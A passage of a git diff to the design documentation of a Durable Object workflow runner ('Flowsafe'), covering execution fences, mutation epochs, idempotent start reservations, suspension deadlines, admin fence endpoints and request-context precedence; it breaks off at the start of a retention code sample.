+Omitted context arrives as `undefined`. Existing hooks with fewer parameters remain compatible. The hook returns `Promise<void>`; reject a start by throwing a caller-safe `RunRouteError`. Its return value does not supply context. Apply business attribution rules here before the router chooses a new start or keyed replay.
+
 ## Alarm-driven maintenance
 
 The fixed maintenance Durable Object schedules four independent duties:
@@ -253,7 +296,7 @@ TTL retention, authorized domain deletion, and deployment decommissioning are se
 | Schedule triggers | Opt-in fire-history TTL |
 | Background tasks | Terminal-state TTL |
 | Provider subscriptions | No TTL; authorized deletion or deployment decommissioning |
-| `flowsafe_execution_fence` | Singleton deployment control row; no TTL. An absent pre-0.20 row reads as `open` |
+| `flowsafe_execution_fence` | Singleton deployment state, epoch, requirement, revision, and private last-command receipt; no TTL. Only legacy absence reads as optional `open` |
 | `flowsafe_start_idempotency` | Terminal reservations remain for at least the run-summary horizon, then purge with run retention |
 | `flowsafe_resource_owners` | Run retention and schedule deletion release their claims. Thread and resource claims require explicit host teardown or deployment decommissioning |
 | R2 artifacts | Delete with the owning snapshot purge and deployment decommissioning |
diff --git a/docs/do-runner-design.md b/docs/do-runner-design.md
index 2482c654..f36b328e 100644
--- a/docs/do-runner-design.md
+++ b/docs/do-runner-design.md
@@ -109,6 +109,12 @@ Terminate:
 
 A repeated request reads the terminal snapshot and returns the same summary. After ownership release, the public router delegates replay authorization to the owner object. The object accepts only a principal recorded by the original transition.
 
+### Read stored run summaries
+
+Stored summaries use the selected workflow's direct step records, without recursively merging child workflow rows. A nested `a` workflow's `b` step therefore cannot overwrite the payload or suspension timestamp of a direct `a.b` step. The same root-local projection applies to status, authoritative status, recovered execution outcomes and lifecycle completion summaries.
+
+Detailed resume preparation still reads nested steps so the selected child's suspension timestamp and prior resume count reach grant derivation. Nested-workflow metadata and deadline refusals remain intact; the naming constraints below still apply to ambiguous approval paths. This read correction does not activate generation-bound admission or the private replay protocol.
+
 ### Fence execution during a deployment migration
 
 The execution fence controls one physical deployment, which is also one tenant boundary. It is never scoped to an actor or run. Each admission reads the current row without memoization, and storage failures fail closed.
@@ -138,14 +144,18 @@ The key is accepted by `POST /runs`, trusted `AgentThreadStartInput` calls, and
 
 Retries use these outcomes:
 
-- A persisted snapshot returns the same run and state without executing again
-- A `reserved` row with no snapshot reclaims the same reserved run ID
-- A live `started` row with no snapshot returns `IDEMPOTENT_START_PENDING` and `pendingSince`
+- A matching nonpending generation returns its observed result without executing again
+- A modern-unbound `reserved` row with no snapshot can claim the same reserved run ID after the owning liveness probe confirms it is not live
+- A live `reserved` or `started` row with no snapshot returns `IDEMPOTENT_START_PENDING` and `pendingSince`
 - A non-live `started` row with no snapshot returns `IDEMPOTENT_START_UNRESOLVABLE`
 - A `terminal` row whose snapshot expired returns `IDEMPOTENT_START_ALREADY_SETTLED`
 
+Bound reservations compare namespace, workflow, run and execution token before classifying a snapshot as pending or a result. A replacement generation never supplies a replay or liveness answer for the original one. Valid pending snapshots are nonreplayable. Legacy nonterminal reservations remain unresolved; legacy terminal reservations stay spent. An unbound alias can bind a result observed in one authoritative read even if that snapshot disappears afterward; it returns that original value.
+
 `IDEMPOTENT_START_UNRESOLVABLE` is a point-in-time probe. A read can occur between the Worker-side claim and the run object learning that execution started, so re-probe before investigating or choosing a fresh key. Flowsafe never starts another run automatically. A replayed suspended start returns the persisted `RunSummary` without the start response's `approval` and `approvals` fields; read `GET /runs/:workflowId/:runId` to reconcile approval state.
 
+An agent stream can remain registered while Core finishes cleanup after a refused start. During that interval, retrying a released key returns pending without claiming it again. An unreadable liveness response returns `503` and leaves the reservation unchanged; it does not establish that the run is absent.
+
 The reservation remains valid for its retention horizon. Once the terminal reservation is purged, the same key is fresh and can start another run. Keep the horizon at least as long as callers can retry.
 
 ## Durable state
@@ -164,10 +174,111 @@ Flowsafe does not maintain a parallel custom workflow state object.
 
 ### Execution fence and start reservations
 
-`flowsafe_execution_fence` stores the deployment's singleton fence state, optional proof key, and optional bound proof run. State transitions compare the caller's `expected` state before they write. A database created by Flowsafe 0.19 has no row or table, which reads as `open`; provisioning from 0.20 onward writes an explicit initial row.
+`flowsafe_execution_fence` stores the deployment's singleton fence state, optional proof key, bound proof run, mutation epoch, sticky epoch requirement, and transition revision. The epoch identifies artifact authority; an explicit `advanceMutationEpoch: true` increments it once and enables the requirement in the same compare-and-set. Every newly applied administrative command increments the revision, including same-state and legacy commands. Ordinary lock, proof, and reopen commands preserve the epoch and requirement.
+
+A missing pre-0.20 table or empty five-column legacy table reads as optional `open`, with epoch and revision zero. Initialization seeds only that legacy shape, then adds mutation and proof metadata columns in order. Interrupted additive upgrades resume without changing the state, proof fields, or timestamp. A missing row once any metadata column exists is unreadable, never implicitly open or refilled. Readers allow one bounded re-observation when an empty legacy row read races a concurrent schema upgrade. Deleting the whole table or restoring an old-format backup is indistinguishable from genuine legacy absence.
+
+Store reads are uncached and require an authoritative database binding. Upgrade the deployment's writers and configure their trusted artifact epoch before activating the requirement. Runtime initial admission and D1 schedule authoring enforce the original caller epoch in their final SQL.
+
+Schedule mutations compare the captured semantic fence frame and schema in the same transaction as their writes. Owned deletion independently guards its schedule, trigger and ownership changes; zero affected rows do not roll back a batch. Pausing and deleting retain their state policy while enforcing the active epoch. Guarded no-op observations preserve timestamps and reject stale callers. A resume compares the cron/timezone used to calculate its next fire, returning a conflict if that configuration changed.
+
+The schedules subpath exposes `FENCED_SCHEDULE_STORAGE` for custom facades using the configured fence's original database object. The capability is required before activation because activation can race a waiting request. Direct context-free D1 calls remain compatible while the requirement is optional. Ordinary reads and admitted trigger settlement do not acquire an external authoring epoch. See [schedule integration](durable-agents.md#add-schedules) for caller and outcome contracts.
+
+`recordProofRun(key, runId, admitted)` retains legacy metadata compatibility at the admitted epoch and revision. Two-argument calls work only while the requirement is optional, and neither form can overwrite or acknowledge a modern proof identity. Initial admission binds modern proof identity atomically. Replay nomination separately checks its original proof round and caller epoch against the current exact snapshot and bound reservation at the final SQL write. It preserves the administrative revision, receipt and existing nomination timestamp.
 
 `flowsafe_start_idempotency` stores owner, target, server-minted run ID, reservation state, and timestamps. The claim from `reserved` to `started` is the cross-isolate serializer. Terminal run cleanup pairs snapshot and reservation retention so a spent key remains distinguishable from a fresh key until its configured horizon expires.
 
+Reservation reads also return a `binding`: `legacy` for an unassociated old-format row, `unbound` for a modern row awaiting association, or `bound` with an execution identity. A bound identity has `tablePrefix`, `workflowId`, `runId`, and `startToken`. A null prefix explicitly asserts no D1 namespace; it differs from the empty string, which identifies the default D1 tables.
+
+Schema upgrades preserve existing rows and add nullable binding columns. New reservations explicitly use the modern-unbound representation. An exact claimed row travels through protected host channels to Runtime; public bodies and application context cannot supply one.
+
+`StartIdempotencyStore` provides these exact reservation operations:
+
+| Method | Required observation and result |
+| --- | --- |
+| `claimReservation` | Claims an exact modern-unbound reserved row and returns this caller’s successful `RETURNING` observation, or undefined on a known miss |
+| `releaseReservation` | Releases an exact modern-unbound started row; a lost write response remains unreadable without a reread |
+| `associateReservation` | Binds an alias to an already-observed nonpending execution without reading its snapshot again; one readback may converge on that exact binding after a miss or lost response |
+| `bindPreparedStart` | Binds a newly prepared execution to the exact started claim; only a lost response permits readback, which must preserve the original claim state and timestamps |
+| `settleExecution` | Settles all aliases matching the complete physical execution, owner, logical target and thread, preserving neighboring generations and already-terminal timestamps |
+
+Claim and release compare every observed field and strictly advance `updatedAt` using the captured clock or the previous stamp plus one. This optimistic concurrency control stamp is neither an execution generation nor a host correlation token. A stopped or backward clock can make `pendingSince` lead wall time; an exhausted nonadvancing stamp refuses before database access. Only a successful claim response establishes that caller’s claim, because simultaneous contenders can propose the same stamp.
+
+Binding preserves both timestamps. Alias readback can accept later state changes, including terminal settlement, while prepared-start readback must preserve the exact original claim. Settlement uses one finite captured clock even when it precedes the previous timestamp. These operations require the current schema without creating or upgrading tables; settlement alone treats a genuinely absent table as empty. The old run-only `claim`, `release`, `settleRun` methods and `rollbackFencedStart` helper are removed. Use the exact observation APIs and let Runtime or the owning host perform locally evidenced rollback; a generic HTTP 409/503 cannot establish that nothing executed.
+
+The fence can retain a complete D1 proof identity alongside `proofRunId`. Store readings expose it as `proofExecution`; admin JSON excludes that identity and its token. Adding its nullable columns preserves active epochs, revisions, receipts, proof fields, and timestamps.
+
+Provisioning validates structural schema metadata; Runtime additionally validates proof identifiers and canonical prefixes. Provisioning does not repair corrupt identity or receipt bytes. Proof-only existing-work gates require the complete D1 namespace/workflow/run/generation tuple. They retain the admitted generation across preparation and policy waits, including a final active-run check before agent delivery. They do not make external effects transactional with fence state.
+
+### Validate execution identity data
+
+The `do-runner` and `host-kit` entry points export identity and mutation-epoch helpers. The normalizers copy and freeze validated data; they do not authenticate a caller or establish execution authority:
+
+| Helper | Result |
+| --- | --- |
+| `normalizeRunExecutionIdentity` | Validates workflow/run/token fields and normalizes a string prefix to lowercase, preserving explicit null |
+| `normalizeD1RunExecutionIdentity` | Requires a string D1 prefix, including the empty default prefix |
+| `normalizeStartIdentity` | Validates the original principal and a workflow or agent target; agent targets require a thread |
+| `normalizeStartExecutionIdentity` | Validates both identity shapes without inferring an owner or root/child relationship |
+| `normalizeMutationEpoch` | Accepts undefined or a nonnegative safe-integer number without string coercion |
+| `assertMutationEpoch` | Compares an already-observed fence reading to a supplied epoch; it does not make a later write atomic |
+
+Invalid identity or epoch input throws the corresponding `INVALID_EXECUTION_IDENTITY` or `INVALID_MUTATION_EPOCH` error with status 400. An active epoch mismatch throws `MUTATION_EPOCH_MISMATCH` with status 409 and a `missing`, `stale`, or `future` classification. Malformed reading metadata remains `EXECUTION_FENCE_UNREADABLE` with status 503.
+
+`MUTATION_EPOCH_HEADER`, `mutationEpochFromHeader`, and `stampMutationEpoch` encode canonical decimal epochs for a trusted internal channel. Authenticate that channel before interpreting its header. Host composition now forwards the captured epoch through the protected internal header and trusted agent bridge. This transport does not enforce the current epoch at a write; activation still requires final-write support from every writer.
+
+`createFlowsafeWorker()` accepts a numeric `mutationEpoch` or a synchronous environment callback. It captures the configuration source at construction and evaluates the callback once at fetch entry, before deployment checks, authentication, or body reads. Resolver and principal-context constructors accept a scalar epoch. Public requests cannot supply the protected header or start-authority fields in JSON.
+
+Workflow and agent starts retain the original actor, principal, epoch and selectors across body, policy and ownership waits. Context snapshots preserve declared host methods on their original receiver, including class-backed methods. Both Durable Object shells capture header strings before asynchronous deployment verification and interpret only those captured strings afterward.
+
+`RunnerRuntime.start()` captures the trusted epoch, original logical identity, agent mode, prepared callback, exact winning claim and resource-owner guard before waits. New starts write v2 with an independently generated execution token. Resumes preserve that token and original identity/epoch/mode while assigning a new current-leg token. Managed hosts supply real awaited preparation callbacks; direct callers may omit one. Before a modern start or resume resolves, Runtime requires the expected generation/current leg and a nonpending durable result from its captured storage source. `RUN_START_PENDING` is a fixed status 503 refusal; it supplies no rollback authority.
+
+Economic-operation lists must contain an entry at every index. Start, resume and shared lifecycle parsing reject sparse lists with the existing lifecycle-format error instead of persisting null placeholders or silently dropping operations. Valid dense lists retain their existing validation and settlement behavior.
+
+### Use explicit initial-admission scopes
+
+`createD1Storage()` composes `FencedWorkflowsStorageD1` as its default workflow domain. Explicit custom or disabled workflow domains retain precedence. The serialized background workflow domain extends the same class and retains its existing per-run update lock. Outside an explicit admission scope, both classes delegate persistence to the pinned D1 adapter.
+
+Advanced trusted integrations can obtain `FENCED_WORKFLOW_STORAGE` from the actual workflow domain. The capability exists only for a selected raw binding with transactional `batch()` support; standalone client and REST configurations retain ordinary adapter behavior without that capability. Fence and participating reservation stores must hold that exact binding. The capability reports its actual lowercase table prefix, with the empty string identifying the default namespace.
+
+Runtime derives physical execution identity and a root-local summary from one stored v2 observation. It captures the registered workflow's actual storage source before reading; D1 results retain exact raw bytes, while custom storage results explicitly have no D1 namespace. Raw pending state remains initial regardless of lifecycle metadata or an admission stamp. Protected replay validates the actual workflow or agent wrapper's logical selectors and projects its public value from that same observation. Internal identity, raw rows and journals are not included in public responses.
+
+| Runtime configuration | Admission and interrupted-start behavior |
+| --- | --- |
+| Configured fence | Require the actual capable D1 domain, matching database bindings and a positive initial-write witness; owning recovery may use exact initial-row repair |
+| Capable D1 without a fence | Keep the actual string namespace and ordinary persistence options; bind a keyed prepared identity before creation, retaining uncertain outcomes |
+| Custom storage without the capability or a fence | Use explicit null namespace and the same conservative prepared binding; missing or pending state supplies no initial-repair or rollback proof |
+
+The fenced Runtime calls `withInitialAdmission(admission, () => workflow.createRun(...))` around initial Core creation only. Advanced trusted callers use the same boundary with a server-generated generation token, original caller epoch/proof observation and coherent v2 context. A keyed call requires its own successful modern-unbound started claim. Both callbacks are invoked as plain functions; use a closure or bound function when you need a receiver.
+
+The initial conditional INSERT checks the captured fence schema, singleton and typed semantic frame, then atomically chains its winning reservation and proof bindings. A positive exact witness permits the caller to invoke the returned Run’s `start()` after the scope ends. A fence change after that commit does not revoke the admission. Suppressed pending persistence, a cached/existing Run, or another domain’s write does not supply that witness.
+
+Admission stamps `initialAdmission: true` into the stored provenance. Ordinary updates can preserve that stamp while changing the row’s bytes or status. The marker alone proves neither an unchanged initial row, lack of progress, nor absence of effects. Recovery checks the full authoritative row and its execution identity.
+
+The same capability exposes `terminalizeInitialAdmission({ expected, execution, attemptToken, nowMs })` for explicit repair of an already-admitted initial row. It accepts the exact raw observation and generation/correlation tokens, not a caller-selected status or replacement snapshot. An eligible row is pending, admission-stamped, and still has the strict initial control and provenance fields. Legacy observations and valid but ineligible rows return an input error; malformed consumed snapshot or owned metadata returns `EXECUTION_FENCE_UNREADABLE`.
+
+Before repair, the trusted owning host must establish exclusive quiescence for the exact attempt: no active execution can resume or write. Possessing a raw D1 binding and matching tokens does not prove inactivity. Neither the conditional update nor the background domain’s local queue establishes distributed quiescence.
+
+Without a recorded cancellation or timeout intent, repair writes a fixed `StartOutcomeUnknown` failure: effects may have occurred, and the run must not be automatically re-executed. A stored intent supplies its own disposition and replay principals. Repair preserves economic metadata, refuses forced termination during a dispute, and returns any required terminal cleanup without performing it. Both outcomes clear active/suspension fields and remove the admission stamp from the replacement only.
+
+The write compares all six original raw-row fields in one UPDATE and joins the serialized background domain’s existing per-run queue. An exact result is `terminalized`; one readback can establish `already-terminalized` or same-generation, known nonpending `progressed` state. A pending readback is never progress, even without the stamp.
+
+A known conditional miss can return `conflict`; an uncertain write remains unreadable unless exact replacement or progress is observed. Malformed returned data does not trigger recovery. This operation supplies no no-insert evidence and runs neither an engine nor cleanup. Runtime projects the returned row directly, then strictly settles its terminal execution before handing required cleanup to the owning host.
+
+Lifecycle revisions and resume ordinals remain readable at `Number.MAX_SAFE_INTEGER`, but an operation that would increment an exhausted counter refuses before persistence or execution. Existing no-increment paths keep their behavior. Legacy provenance remains explicitly readable/resumable under its compatibility rules; it never acquires a manufactured v2 generation.
+
+Normal hosts also validate v1 and absent-provenance observations from the actual selected storage source. With no recovery journal, a known raw terminal outcome and unchanged canonical owner, record and binding permit ordinary lifecycle completion and record cleanup. Legacy requester metadata may change during an authorized resume; it does not replace the saved run-record principal or actual resource owner. Legacy cleanup cannot infer a generation or change a start reservation. Termination and completion retain their existing lifecycle compare-and-swap writes.
+
+A validated all-zero batch changes no participant. `isDefinitiveInitialAdmissionRefusal(error, execution)` recognizes only package-owned, in-process evidence for that exact execution, including bounded cause wrappers. It never authorizes deleting a durable snapshot. A thrown batch converges only on matching raw bytes and every required binding; malformed returned results and uncertain readbacks cannot grant a witness.
+
+`readSnapshot()` returns an immutable observation of the six stored fields without Core cache fallback or timestamp conversion. Both managed hosts persist v2 `preparing`, `prepared` or `prepared-unfenced` journals at their existing recovery keys. They retain the original keyed claim and actual source owner, which may differ from the initiating principal. Preparation response loss converges only on the exact durable phase/identity. V1 journals stay unresolved.
+
+Recovery requires awaited owning quiescence equal to true and exact journal/frame matching. A new Runtime's empty map proves no inactivity. Cold agent alarms reconstruct the actual registered wrapper from a principal-free instance scope before reading a workflow; the alarm passes its captured verified deployment tag. Runtime checks the host's expected target and agent mode against the same row it recovers, including any returned repair observation.
+
+A workflow journal must match its named Durable Object before recovery can use that object's quiescence. Agent recovery rechecks the complete journal after the authoritative read and before rolling back H-owned reservations. Both hosts require a keyed journal's configured reservation store before bookkeeping, even when its selected outcome is nonterminal.
+
+Strict terminal reservation settlement precedes managed approval, dispatch, owner and completion cleanup, with exact journal clearing last. Failures retain the journal and watchdog. A missing snapshot after fenced preparation also retains the journal and agent record/binding, preventing an unkeyed same-ID retry from executing again. Only an actual local, matching zero-insert receipt with an unwound owning frame and an absent row permits complete rollback. Prepared-unfenced absence/pending never enters initial repair or unspends a bound key. Final schedule enforcement and deployment-wide acceptance remain required before enabling artifact epochs across the deployment.
+
 ### Snapshot provenance
 
 Flowsafe stores trusted run provenance under reserved request-context keys in the same authoritative snapshot as the workflow state. Provenance records the initiating actor, a per-leg attempt token, and a monotonic ordinal per run and step:
@@ -195,7 +306,7 @@ A step arms one by adding the reserved key to the payload it hands Mastra's `sus
 import {
   isSuspensionTimeoutResumeData,
   SUSPENSION_DEADLINE_PAYLOAD_KEY,
-} from '@proofoftech/flowsafe/do-runner';
+} from '@proofoftech/flowsafe/do-runner/constants';
 import { z } from 'zod';
 
 const gate = createStep({
@@ -237,7 +348,34 @@ The expiring resume delivers one flowsafe-defined envelope as its resume data:
 }
 ```
 
-Branch on `isSuspensionTimeoutResumeData()` rather than the literal key. A step that declares a `resumeSchema` must accept this shape as well as its signal shape: Mastra validates resume data before the engine runs, so a schema that rejects the envelope makes every timeout resume throw, and the deadline is dropped once the retry budget is spent. The envelope is the runner's to mint — a resume request that carries the reserved key is refused with a 400, so a caller cannot drive a step's timeout branch while provenance still names them as the requester.
+Branch on `isSuspensionTimeoutResumeData()` rather than the literal key. A step that declares a `resumeSchema` must accept this shape as well as its signal shape: Mastra validates resume data before the engine runs, so a schema that rejects the envelope makes every timeout resume throw, and the deadline is dropped once the retry budget is spent. The detector checks structure, not provenance. Public resume requests containing the reserved key return HTTP 400; the alarm supplies the system provenance for an actual timeout resume.
+
+### Inspect and test suspension deadlines
+
+The `@proofoftech/flowsafe/do-runner/constants` entry exports `isArmableSuspensionDeadlineMs` with the deadline values and timeout detector. It uses the same duration predicate as deadline arming. The constants and testing entries load without the runner, Core, D1 adapter or jose runtime modules.
+
+Use `suspensionDeadlinesOf(summary)` from `@proofoftech/flowsafe/do-runner` to inspect a `RunSummary`. It returns `{ entries, rejected }` without changing the summary or scheduling an alarm. Each entry is a deadline request derived from that summary, not a reading of the armed record the run object holds. The entries use suspension time and resume ordinal from that summary; obtaining an entry does not authorize a resume. The runner still checks authoritative state before acting.
+
+A duration accepted by the predicate is insufficient to arm a deadline by itself. Derivation also requires a suspended run, an unambiguous top-level step and a usable suspension fence. Nested or ambiguous paths are refused as described above. Missing requests produce no entry, while invalid requests appear in `rejected` with their step and reason. `MAX_SUSPENSION_DEADLINES_PER_RUN` bounds the result. Use `SuspensionDeadlineEntry` and `RejectedSuspensionDeadline` from the main runner entry for these projections; the record parser and retry operations remain internal.
+
+Build a timeout fixture with the same function the alarm uses:
+
+```typescript
+import { isSuspensionTimeoutResumeData } from
+  '@proofoftech/flowsafe/do-runner/constants';
+import { suspensionTimeoutResumeData } from
+  '@proofoftech/flowsafe/do-runner/testing';
+
+const resumeData = suspensionTimeoutResumeData(
+  { step: 'gate', deadlineAt: 1_751_883_300_000 },
+  1_751_883_300_123,
+);
+const isTimeout = isSuspensionTimeoutResumeData(resumeData);
+```
+
+The minter accepts the step, deadline and expiry time without validating or authorizing them. The testing entry also exports `SuspensionTimeoutEnvelope` and `SuspensionTimeoutResumeData` types. A fixture does not schedule a wake, establish system identity or grant approval.
+
+### Suspension wake behavior
 
 Behavior worth knowing before relying on it:
 
@@ -247,7 +385,7 @@ Behavior worth knowing before relying on it:
 - A wake with a record in hand that cannot read authoritative state keeps that record: it re-arms nothing, keeps the 60 second cadence, and the entry is charged only once a wake that could read finds it due. On a wake with NO record, a read that succeeds with null converges instead — there is nothing to keep, so the wake arms nothing and deletes the alarm. Both of those are bounded and self-healing, though during a storage incident the affected population is every suspended run whose object takes a wake. Two cases are neither. A wake with NO record whose read THROWS has no record to keep, no entry to charge and none to stamp, so it keeps the 60 second heartbeat with no terminator until the read heals or the isolate is evicted. That is accepted rather than converged — converging it would delete the alarm of a run whose deadline record a failed boundary write never landed, which is the failure that retry wake exists for — and reaching it takes a retry wake followed by the run's workflow itself going unreadable for good. A wake whose `build(env)` throws is the other, and it needs no record at all: a misconfigured binding fails before any entry is in hand, so the wake charges nothing and stamps nothing — not even the 24 hour clock, which runs only on entries a failed READ found due — and it too keeps the 60 second heartbeat with no terminator until the deployment is fixed. That is deliberate: the fault is the host's and says nothing about any deadline, and the alternative is tombstoning every live deadline of the run over a configuration mistake.
 - The resume records `requestedByKind: 'system'` and the reserved principal id `flowsafe-suspension-deadline`, and broadcasts the new summary like any other resume.
 - A timeout resume is NOT an approval decision. It mints no grant and records no reviewer. A step that gates a privileged action must treat the timeout branch as a denial, an escalation, or a no-op — never as consent.
-- An armed deadline is not observable through `RunSummary` in v1. The record lives in the run object's own storage, no route projects it, and the bounds that describe it are exported so a consumer can validate its own `deadlineMs` before arming, while `MAX_SUSPENSION_DEADLINES_PER_RUN` is exported as an operational figure rather than as something to check a deadline against. The workerd spike needs a test-only introspection route on its Durable Object precisely because nothing else can see the armed state.
+- An armed deadline is not observable through `RunSummary` in v1. `suspensionDeadlinesOf` reports the deadline requests a summary carries, not which of them the object armed. The record lives in the run object's own storage, no route projects it, and the bounds that describe it are exported so a consumer can validate its own `deadlineMs` before arming, while `MAX_SUSPENSION_DEADLINES_PER_RUN` is exported as an operational figure rather than as something to check a deadline against. The workerd spike needs a test-only introspection route on its Durable Object precisely because nothing else can see the armed state.
 - A timeout resume takes no host route, so the hooks a resume normally passes through do not fire for it: `RunRouterOptions.beforeResume` cannot vet it (the run object resumes itself), and `RunRouterOptions.reconcileApprovals` / `reconcileApprovalsForSummary` do not run at that moment. An approval record filed for the expired suspension therefore stays open until a later host status read reconciles it, where the `(suspendedAt, resumeCount)` binding it already carries shows the suspension moved on. Nothing decides that approval, and nothing acts on a decision arriving late.
 - A `foreach` step arms one deadline for the step as a whole, because one suspended path with one fence is all either projection reports for it. A default `foreach` is sequential: one iteration is suspended at a time, so each iteration's suspension gets its own deadline and clearing a whole `foreach` by timeout takes one deadline per item. With `concurrency` above 1, up to `concurrency` iterations suspend at once behind that one path, one `suspendedAt`, and the FIRST suspended iteration's payload, so only that iteration's `deadlineMs` is read per batch; the timeout resume delivers the envelope to every iteration suspended at that moment (at most `concurrency` of them), iterations not yet started then suspend afresh with their own deadline, and clearing the whole `foreach` takes `ceil(items / concurrency)` deadlines.
 - Wake precision is the Durable Object alarm's, near the requested time rather than exact. There is no maintenance-sweep backstop, so a lost alarm is a lost deadline; run-level `deadlineMs` remains the swept mechanism. The record itself is a separate best-effort write made after Mastra has persisted the suspension, not part of it: a write that fails leaves a 60 second retry wake. Every wake that does not resume — that retry wake included — ends by re-deriving the run's deadlines from an authoritative read; the stored record is only the identity fallback for an object that carries no name, never the source the wake trusts over authoritative state. One re-derivation is not made from an authoritative read: the terminal deadline route's non-finalizing branch — the CAS-stale answer, and the already-cleaned-up replay — reconciles from `result.summary`, which `timeOutAsPrincipal` produced with a post-persist `getWorkflowRunById`, the read Mastra can answer from its in-memory fallback. A marked answer there would derive nothing and clear a record for a run that is still suspended. It is not guarded mechanically because reaching it takes that second read flipping to the fallback inside one held run lock, after the snapshot read the branch opens with has already succeeded on the same store; and if it ever did, the run's own next boundary or wake re-derives what was dropped, since the record is bookkeeping about a suspension the snapshot still holds.
@@ -312,10 +450,16 @@ GET  /admin/inventory
 
 All three require a bearer token matching `MAINTENANCE_ADMIN_SECRET`, which must differ from `DEPLOYMENT_IDENTITY_SECRET`. The deployment-identity gate still runs first. A mis-provisioned deployment therefore returns `503` before an operator can read or move its fence.
 
-`GET /admin/execution-fence` returns `{ state, proofKey?, proofRunId? }`. `POST /admin/execution-fence` accepts `{ expected, next, proofKey? }`; a stale expectation returns `409` with `reason.code: 'FENCE_CAS_CONFLICT'` and the current state.
+`GET` and successful `POST /admin/execution-fence` both return `{ state, mutationEpoch, requireMutationEpoch, transitionRevision, proofKey?, proofRunId? }`. `POST` accepts `{ expected, next, proofKey?, expectedMutationEpoch?, expectedRevision?, advanceMutationEpoch? }`. Supply both expected counters together as nonnegative safe-integer numbers. The advance flag is boolean, defaults to false, and requires the expected pair when true. Invalid fields return `400`; counters never wrap. The host continues to own transition policy, and `proofKey` is required only when entering `proof-only`.
+
+An upgraded command compares state, epoch, and revision in one UPDATE. Its exact retry converges only while its canonical command remains the last applied upgraded command. A matching resulting state alone is insufficient. A successful retry preserves an already-bound proof run and the original timestamp; an intervening administrative command makes the old retry conflict. The internal receipt is never returned over HTTP.
+
+A valid conditional miss returns `409` with `reason.code: 'FENCE_CAS_CONFLICT'`, the full current reading, and `reason.conflict: 'expectation-mismatch'`. Legacy state-only requests remain compatible before activation, retain their state-only ABA limitation, and clear the last upgraded receipt. After activation they return `versioned-expectation-required`. An uncertain write returns `503` unless strict readback proves the exact last command; malformed state or an invalid write-result envelope always returns `EXECUTION_FENCE_UNREADABLE`.
 
 `GET /admin/inventory` returns an index or one keyset-paginated category selected with `?category&cursor&limit`. The work categories are `runs`, `approvals-waiting`, `schedule-deferred-dispatches`, `pending-notifications`, `background-tasks`, `resource-owners`, and `start-reservations`. The standing categories are `schedules` and `signal-subscriptions`; they are reported for reconciliation and never required to empty.
 
+`pending-notifications` lists every pending notification, due or not yet due, and reports the not-yet-due count as `notDue`. A notification scheduled for later keeps a drain unproven until it leaves the pending status (delivered or discarded) or is deleted; rescheduling alone does not clear it. A pending row carrying neither `deliverAt` nor `summaryAt` leaves through a direct write or deletion because no dispatch pass selects it and retention does not remove pending rows.
+
 `INVENTORY_DRAIN_PROOF` defines a proof as two consecutive full sweeps with every work category empty, at least 60 seconds apart, while the fence remains `draining`. Each reading is a point-in-time observation rather than a snapshot and can move in either direction because draining still admits work. Empty results cannot over-count, and keyset pagination never skips a row that existed before the sweep began.
 
 If a host needs a hard guarantee, it can re-sweep once after transitioning to `migration-locked`. An empty post-lock sweep is conclusive. A non-empty sweep means work is still outstanding: either it entered after the proof or the lock parked it before it finished. Return to `draining`, let it finish, and repeat the proof before locking again. An inventory read taken under `migration-locked` measures what the fence parked rather than what the deployment would otherwise be doing.
@@ -332,16 +476,15 @@ The maintenance Durable Object persists a rotating tuple cursor after every sele
 
 ## Request context
 
-Before every create or resume, the runtime sets:
+`POST /runs` accepts an optional `requestContext` object after authenticated start authorization. The router rejects invalid shapes and keys identified by [`isReservedExecutionContextKey()`](../packages/flowsafe/src/do-runner/execution-context.ts) with HTTP 400 and `reason: "reserved-context-key"`. The validated record reaches `beforeStart` before reservation or execution; hosts enforce stricter application attribution policy there.
 
-- run id;
-- workflow id;
-- `breakwater.workflowScope`;
-- values returned by the host's `requestContextForRun` provider.
+`RunStartInput.requestContext` crosses the authenticated Worker-to-Durable-Object channel and becomes `StartRunOptions.storedRequestContext`. A verified schedule target supplies its own context even when that value is absent; an ordinary-start body cannot fill that absence. `inputData` remains workflow input and does not populate request context.
 
-Runtime-derived base keys win over stored or client-provided context. `breakwater.isolationScope` remains reserved and is dropped from provider values because connector keys are deployment-wide. Schedules additionally reject these reserved namespaces when data is written.
+Stored non-reserved application values have the lowest precedence. Application values from `requestContextForRun` override matching stored keys. Runtime-derived execution metadata and trusted provider capabilities/identity are applied after application values. `breakwater.isolationScope` remains reserved and is dropped from provider values because connector keys are deployment-wide.
 
-`approvalGrantProvider()` is the normal provider. A provider failure happens before `createRun()` or resume, so a failed start leaves its run id retryable.
+Application context persists with the run and survives resume in a fresh Runtime or Durable Object. The provider runs again for each execution leg. A provider that revokes a capability must return an explicit empty value for that key; omission leaves a persisted value available to the context merge. A keyed replay revalidates the supplied context and executes host policy, then retains the winning run's context without comparing or overwriting it.
+
+`approvalGrantProvider()` derives approval capabilities from persisted decisions. A provider failure aborts the execution leg before `createRun()` or resume.
 
 ## Import-safe workflow modules
 
@@ -374,30 +517,42 @@ The runner preserves stable statuses and structured refusal reasons across Durab
 | `InvalidStartIdempotencyRequestError` | `400` | `INVALID_START_IDEMPOTENCY_REQUEST` | The key or reservation request is malformed |
 | `InvalidInventoryRequestError` | `400` | `INVALID_INVENTORY_REQUEST` | The category, cursor, or limit is invalid |
 
-`isStartReservationRefusal()` recognizes the five reservation decisions, unsupported wiring, and malformed input. It excludes `StartReservationUnreadableError`, which propagates as an operational storage failure.
-
 The runtime also distinguishes unknown workflows, unknown runs, duplicate runs, runs that are not suspended, client-fixable input or resume-data errors, and internal execution or storage failures.
 
 The Durable Object maps known errors to stable HTTP status codes through `doErrorResponse()`. Unknown failures return an internal error without copying arbitrary thrown data to an audit sink.
 
+`createRunRouter()` returns HTTP 500 with `{ "error": "internal error" }` for unexpected failures and retains the original error in server diagnostics. Its typed refusals preserve their status, message and reason. Hosts that construct `RunRouteError` must supply caller-safe, JSON-compatible message/reason values; the router does not sanitize them. Runtime-authored `RunLifecycleBlockedError.reason` reports `DISPUTED_SETTLEMENT` with a fixed message. A host that constructs that error is responsible for its supplied message too.
+
 The runner does not provide an administrative “reset to last good state” API. Recovery uses authoritative D1 state, the approval redrive path, or deployment decommissioning.
 
 ## Retention
 
-`purgeExpiredWorkflowRuns(db, options)`:
+`purgeExpiredWorkflowRuns(db, options)` processes bounded pages of terminal snapshots and spent start reservations. It requires a transactional `db.batch()` and an `advanceCursor` callback. Persist the callback's `RunRetentionCursor` and pass it as `cursor` on the next invocation. The maintenance Durable Object handles this persistence for composed Workers.
+
+For a lower-level caller with a D1 binding and Durable Object storage:
+
+```typescript
+import {
